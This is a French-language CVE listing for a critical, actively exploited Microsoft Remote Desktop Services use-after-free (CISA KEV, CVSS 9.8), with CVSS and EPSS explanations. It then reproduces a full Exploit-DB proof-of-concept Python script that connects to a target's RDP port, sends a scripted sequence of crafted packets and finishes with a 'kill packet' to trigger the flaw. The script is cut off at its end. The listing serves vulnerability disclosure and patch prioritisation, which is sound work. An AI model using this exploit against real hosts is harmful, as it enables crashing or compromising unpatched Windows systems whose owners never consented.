Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-416 |
Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack ComplexityThis metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User InteractionThis metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. ScopeFormally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Remote Desktop Services Remote Code Execution Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2021-11-02 23:00 +00:00
Action attendue : 2022-05-02 22:00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 46946
Date de publication : 2019-05-29 22:00 +00:00
Auteur : n1xbyte
EDB Vérifié : No
import socket, sys, struct
from OpenSSL import SSL
from impacket.structure import Structure
# I'm not responsible for what you use this to accomplish and should only be used for education purposes
# Could clean these up since I don't even use them
class TPKT(Structure):
commonHdr = (
('Version','B=3'),
('Reserved','B=0'),
('Length','>H=len(TPDU)+4'),
('_TPDU','_-TPDU','self["Length"]-4'),
('TPDU',':=""'),
)
class TPDU(Structure):
commonHdr = (
('LengthIndicator','B=len(VariablePart)+1'),
('Code','B=0'),
('VariablePart',':=""'),
)
def __init__(self, data = None):
Structure.__init__(self,data)
self['VariablePart']=''
class CR_TPDU(Structure):
commonHdr = (
('DST-REF','<H=0'),
('SRC-REF','<H=0'),
('CLASS-OPTION','B=0'),
('Type','B=0'),
('Flags','B=0'),
('Length','<H=8'),
)
class DATA_TPDU(Structure):
commonHdr = (
('EOT','B=0x80'),
('UserData',':=""'),
)
def __init__(self, data = None):
Structure.__init__(self,data)
self['UserData'] =''
class RDP_NEG_REQ(CR_TPDU):
structure = (
('requestedProtocols','<L'),
)
def __init__(self,data=None):
CR_TPDU.__init__(self,data)
if data is None:
self['Type'] = 1
def send_init_packets(host):
tpkt = TPKT()
tpdu = TPDU()
rdp_neg = RDP_NEG_REQ()
rdp_neg['Type'] = 1
rdp_neg['requestedProtocols'] = 1
tpdu['VariablePart'] = rdp_neg.getData()
tpdu['Code'] = 0xe0
tpkt['TPDU'] = tpdu.getData()
s = socket.socket()
s.connect((host, 3389))
s.sendall(tpkt.getData())
s.recv(8192)
ctx = SSL.Context(SSL.TLSv1_METHOD)
tls = SSL.Connection(ctx,s)
tls.set_connect_state()
tls.do_handshake()
return tls
# This can be fixed length now buttfuckit
def send_client_data(tls):
p = "\x03\x00\x01\xca\x02\xf0\x80\x7f\x65\x82\x07\xc2\x04\x01\x01\x04\x01\x01\x01\x01\xff\x30\x19\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x30\x19\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02\x30\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x04\x82\x01\x61\x00\x05\x00\x14\x7c\x00\x01\x81\x48\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34\x01\xc0\xea\x00\x0a\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03\xaa\x09\x04\x00\x00\xee\x42\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00\x4f\x00\x50\x00\x2d\x00\x46\x00\x38\x00\x34\x00\x30\x00\x47\x00\x49\x00\x4b\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00\x04\x00\x00\x00\x72\x64\x70\x73\x6e\x64\x00\x00\x0f\x00\x00\xc0\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0\x64\x72\x64\x79\x6e\x76\x63\x00\x00\x00\x80\xc0\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x00"
size0 = struct.pack(">h", len(p))
size1 = struct.pack(">h", len(p)-12)
size2 = struct.pack(">h", len(p)-109)
size3 = struct.pack(">h", len(p)-118)
size4 = struct.pack(">h", len(p)-132)
size5 = struct.pack(">h", len(p)-390)
ba = bytearray()
ba.extend(map(ord, p))
ba[2] = size0[0]
ba[3] = size0[1]
ba[10] = size1[0]
ba[11] = size1[1]
ba[107] = size2[0]
ba[108] = size2[1]
ba[116] = 0x81
ba[117] = size3[1]
ba[130] = 0x81
ba[131] = size4[1]
ba[392] = size5[1]
tls.sendall(bytes(ba))
tls.recv(8192)
def send_client_info(tls):
p = b"\x03\x00\x01\x61\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x52\x40\x00\xa1\xa5\x09\x04\x09\x04\xbb\x47\x03\x00\x00\x00\x0e\x00\x08\x00\x00\x00\x00\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x41\x41\x41\x00\x38\x00\x2e\x00\x32\x00\x33\x00\x32\x00\x2e\x00\x31\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x41\x41\x41\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xa4\x01\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00"
tls.sendall(p)
def send_channel_packets(tls):
p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00"
tls.sendall(p1)
p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28"
tls.sendall(p2)
tls.recv(1024)
p4 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xeb"
tls.sendall(p4)
tls.recv(1024)
p5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xec"
tls.sendall(p5)
tls.recv(1024)
p6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xed"
tls.sendall(p6)
tls.recv(1024)
p7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xee"
tls.sendall(p7)
tls.recv(1024)
p8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xef"
tls.sendall(p8)
tls.recv(1024)
def send_confirm_active(tls, shareid):
p = "\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04"
ba = bytearray()
ba.extend(map(ord, p))
tls.sendall(bytes(ba))
def send_establish_session(tls):
p = b"\x03\x00\x00\x24\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x16\x16\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00\x01\x00\xea\x03"
tls.sendall(p)
p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
tls.sendall(p)
p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
tls.sendall(p)
p = b"\x03\x00\x05\x81\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x85\x72\x72\x05\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x2b\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x02\x00\x00\x00\xa3\xce\x20\x35\xdb\x94\xa5\xe6\x0d\xa3\x8c\xfb\x64\xb7\x63\xca\xe7\x9a\x84\xc1\x0d\x67\xb7\x91\x76\x71\x21\xf9\x67\x96\xc0\xa2\x77\x5a\xd8\xb2\x74\x4f\x30\x35\x2b\xe7\xb0\xd2\xfd\x81\x90\x1a\x8f\xd5\x5e\xee\x5a\x6d\xcb\xea\x2f\xa5\x2b\x06\xe9\x0b\x0b\xa6\xad\x01\x2f\x7a\x0b\x7c\xff\x89\xd3\xa3\xe1\xf8\x00\x96\xa6\x8d\x9a\x42\xfc\xab\x14\x05\x8f\x16\xde\xc8\x05\xba\xa0\xa8\xed\x30\xd8\x67\x82\xd7\x9f\x84\xc3\x38\x27\xda\x61\xe3\xa8\xc3\x65\xe6\xec\x0c\xf6\x36\x24\xb2\x0b\xa6\x17\x1f\x46\x30\x16\xc7\x73\x60\x14\xb5\xf1\x3a\x3c\x95\x7d\x7d\x2f\x74\x7e\x56\xff\x9c\xe0\x01\x32\x9d\xf2\xd9\x35\x5e\x95\x78\x2f\xd5\x15\x6c\x18\x34\x0f\x43\xd7\x2b\x97\xa9\xb4\x28\xf4\x73\x6c\x16\xdb\x43\xd7\xe5\x58\x0c\x5a\x03\xe3\x73\x58\xd7\xd9\x76\xc2\xfe\x0b\xd7\xf4\x12\x43\x1b\x70\x6d\x74\xc2\x3d\xf1\x26\x60\x58\x80\x31\x07\x0e\x85\xa3\x95\xf8\x93\x76\x99\x9f\xec\xa0\xd4\x95\x5b\x05\xfa\x4f\xdf\x77\x8a\x7c\x29\x9f\x0b\x4f\xa1\xcb\xfa\x95\x66\xba\x47\xe3\xb0\x44\xdf\x83\x03\x44\x24\xf4\x1e\xf2\xe5\xcb\xa9\x53\x04\xc2\x76\xcb\x4d\xc6\xc2\xd4\x3f\xd3\x8c\xb3\x7c\xf3\xaa\xf3\x93\xfe\x25\xbd\x32\x7d\x48\x6e\x93\x96\x68\xe5\x18\x2b\xea\x84\x25\x69\x02\xa5\x38\x65\x6f\x0f\x9f\xf6\xa1\x3a\x1d\x22\x9d\x3f\x6d\xe0\x4c\xee\x8b\x24\xf0\xdc\xff\x70\x52\xa7\x0d\xf9\x52\x8a\x1e\x33\x1a\x30\x11\x15\xd7\xf8\x95\xa9\xbb\x74\x25\x8c\xe3\xe9\x93\x07\x43\xf5\x50\x60\xf7\x96\x2e\xd3\xff\x63\xe0\xe3\x24\xf1\x10\x3d\x8e\x0f\x56\xbc\x2e\xb8\x90\x0c\xfa\x4b\x96\x68\xfe\x59\x68\x21\xd0\xff\x52\xfe\x5c\x7d\x90\xd4\x39\xbe\x47\x9d\x8e\x7a\xaf\x95\x4f\x10\xea\x7b\x7a\xd3\xca\x07\x28\x3e\x4e\x4b\x81\x0e\xf1\x5f\x1f\x8d\xbe\x06\x40\x27\x2f\x4a\x03\x80\x32\x67\x54\x2f\x93\xfd\x25\x5d\x6d\xa0\xad\x23\x45\x72\xff\xd1\xeb\x5b\x51\x75\xa7\x61\xe0\x3f\xe4\xef\xf4\x96\xcd\xa5\x13\x8a\xe6\x52\x74\x70\xbf\xc1\xf9\xfb\x68\x9e\xdd\x72\x8f\xb4\x44\x5f\x3a\xcb\x75\x2a\x20\xa6\x69\xd2\x76\xf9\x57\x46\x2b\x5b\xda\xba\x0f\x9b\xe0\x60\xe1\x8b\x90\x33\x41\x0a\x2d\xc5\x06\xfe\xd0\xf0\xfc\xde\x35\xd4\x1e\xaa\x76\x0b\xae\xf4\xd5\xbd\xfa\xf3\x55\xf5\xc1\x67\x65\x75\x1c\x1d\x5e\xe8\x3a\xfe\x54\x50\x23\x04\xae\x2e\x71\xc2\x76\x97\xe6\x39\xc6\xb2\x25\x87\x92\x63\x52\x61\xd1\x6c\x07\xc1\x1c\x00\x30\x0d\xa7\x2f\x55\xa3\x4f\x23\xb2\x39\xc7\x04\x6c\x97\x15\x7a\xd7\x24\x33\x91\x28\x06\xa6\xe7\xc3\x79\x5c\xae\x7f\x50\x54\xc2\x38\x1e\x90\x23\x1d\xd0\xff\x5a\x56\xd6\x12\x91\xd2\x96\xde\xcc\x62\xc8\xee\x9a\x44\x07\xc1\xec\xf7\xb6\xd9\x9c\xfe\x30\x1c\xdd\xb3\x3b\x93\x65\x3c\xb4\x80\xfb\xe3\x87\xf0\xee\x42\xd8\xcf\x08\x98\x4d\xe7\x6b\x99\x0a\x43\xed\x13\x72\x90\xa9\x67\xfd\x3c\x63\x36\xec\x55\xfa\xf6\x1f\x35\xe7\x28\xf3\x87\xa6\xce\x2e\x34\xaa\x0d\xb2\xfe\x17\x18\xa2\x0c\x4e\x5f\xf0\xd1\x98\x62\x4a\x2e\x0e\xb0\x8d\xb1\x7f\x32\x52\x8e\x87\xc9\x68\x7c\x0c\xef\xee\x88\xae\x74\x2a\x33\xff\x4b\x4d\xc5\xe5\x18\x38\x74\xc7\x28\x83\xf7\x72\x87\xfc\x79\xfb\x3e\xce\xd0\x51\x13\x2d\x7c\xb4\x58\xa2\xe6\x28\x67\x4f\xec\xa6\x81\x6c\xf7\x9a\x29\xa6\x3b\xca\xec\xb8\xa1\x27\x50\xb7\xef\xfc\x81\xbf\x5d\x86\x20\x94\xc0\x1a\x0c\x41\x50\xa9\x5e\x10\x4a\x82\xf1\x74\x1f\x78\x21\xf5\x70\x61\x24\x00\x3d\x47\x5f\xf3\x25\x80\x3c\x4b\xea\xa3\xf4\x77\xea\xa1\x42\x1a\x17\x0f\x6d\xa8\x35\x9e\x91\x26\x34\x43\x04\xc6\xc6\x5b\x21\x7d\x8c\xc7\x22\x91\x7b\x2c\x2d\x2f\xd6\x7e\xa5\x52\xa8\x08\x80\xeb\x60\xd1\x44\x09\x8e\x3c\xa1\xaa\x67\x60\x0a\x26\xc6\xb5\xc6\x79\xa6\x4f\x8b\x8c\x25\x5c\xf1\x0b\x23\xf4\xd8\xa6\x6d\xf1\x91\x78\xf9\xe5\x2a\x50\x2f\x5a\x44\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x77\x5a\xd8\xb2\x74\x4f\x30\x35\xbf\x28\xae\xd9\xa2\x98\xa5\xbc\x60\xca\xb8\x90\x4d\x20\x46\xd9\x8a\x1a\x30\x01\x8b\x38\x63\x1a\x57\x09\x51\x46\x95\x9b\xd8\x80\x0c\xb0\x77\x24\xbf\x2b\xd3\x57\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x56\x92\x38\xed\x6b\x9b\x5b\x1f\xba\x53\xa1\x0e\xf7\x75\x10\x53\x22\x4c\x0a\x75\x88\x54\x69\x3f\x3b\xf3\x18\x67\x6b\x0f\x19\xd1\x00\x25\x86\xcd\xa8\xd9\xdd\x1d\x8d\x26\x87\x54\xd9\x79\xc0\x74\x65\x90\xd7\x33\x32\xaf\xba\x9d\x5a\xd5\x6c\x7c\xa1\x47\xe1\x49\x6e\x1c\xce\x9f\x62\xaa\x26\x16\x3f\x3c\xec\x5b\x49\xe5\xc0\x60\xd4\xbe\xa7\x88\xbc\xa1\x9f\x29\x71\x8c\xeb\x69\xf8\x73\xfb\xaf\x29\xaa\x40\x1b\xe5\x92\xd2\x77\xa7\x2b\xfb\xb6\x77\xb7\x31\xfb\xdc\x1e\x63\x63\x7d\xf2\xfe\x3c\x6a\xba\x0b\x20\xcb\x9d\x64\xb8\x31\x14\xe2\x70\x07\x2c\xdf\x9c\x6f\xb5\x3a\xc4\xd5\xb5\xc9\x3e\x9a\xd7\xd5\x30\xdc\x0e\x19\x89\xc6\x08\x88\xe1\xca\x81\xa6\x28\xdd\x9c\x74\x05\x11\xe7\xe1\xcc\xbc\xc7\x76\xdd\x55\xe2\xcc\xc2\xcb\xd3\xb6\x48\x01\xdd\xff\xba\xca\x31\xab\x26\x44\x1c\xdc\x06\x01\xdf\xf2\x90\x50\xb8\x6b\x8f\xe8\x29\xf0\xba\xec\xfb\x2d\xfd\x7a\xfc\x7f\x57\xbd\xea\x90\xf7\xcf\x92\x1e\xc4\x20\xd0\xb6\x9f\xd6\xdc\xa1\x82\xa9\x6c\x5e\x3e\x83\x41\x57\x73\xe9\xe7\x5a\x3f\xda\x24\x4f\x73\x5e\xf4\xe0\x92\x24\xbd\x0b\xd0\x3c\x49\x96\xb5\xb5\x05\x32\xcb\x58\x1d\x6f\x97\x51\xee\x0c\xdc\x0b\x2a\x60\xef\x97\x3e\x5a\x30\x81\x15\x91\xcf\x11\x07\x25\x2c\x41\xdb\x70\x72\xe1\x75\xf6\xa5\xff\xe8\x44\xe7\x03\xe3\x61\xaa\xdb\xe0\x07\x3d\x07\x0b\xe3\x5c\x09\xa9\x5e\x10\xfd\xcf\x74\x9e\x23\xf1\x30\x86\x16\xef\x25\x4e\xfe\xa4\x93\xa5\x80\x0a\x01\x39\xcc\x11\x7a\x6e\x94\x22\x5b\xd8\xc6\xc9\xa8\xdf\x13\x96\xb3\x91\x33\x6e\x87\xbb\x94\x63\x2d\x88\x64\xa7\x58\x89\xda\xdc\x7f\x2a\xe3\xa1\x66\xe5\xc8\x7f\xc2\xdb\xc7\x7d\x2f\xa9\x46\x28\x45\x69\xbc\xac\x9f\x85\x9e\xb0\x9f\x9a\x49\xb4\xb1\xcb"
tls.sendall(p)
p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00"
tls.sendall(p)
def send_kill_packet(tls, arch):
if arch == "32":
p = b"\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
elif arch == "64":
p = b"\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
else:
print("Make the second arguement '32' or '64' without quotes")
sys.exit()
tls.sendall(p)
def terminate_connection(tls):
p = b"\x03\x00\x00\x09\x02\xf0\x80\x21\x80"
tls.sendall(p)
def main(args):
tls = send_init_packets(args[1])
send_client_data(tls)
print("[+] ClientData Packet Sent")
send_channel_packets(tls)
print("[+] ChannelJoin/ErectDomain/AttachUser Sent")
send_client_info(tls)
print("[+] ClientInfo Packet Sent")
tls.recv(8192)
tls.recv(8192)
send_confirm_active(tls, None)
print("[+] ConfirmActive Packet Sent")
send_establish_session(tls)
print("[+] Session Established")
send_kill_packet(tls, args[2])
terminate_connection(tls)
print("[+] Vuln Should Trigger")
if __name__ == '__main__':
if len(sys.argv) != 3:
print("Usage: python poc.py 127.0.0.1 64")
sys.exit()
elif sys.argv[2] == '32' or '64':
# I've had to send the packets 5 times for hosts that havent
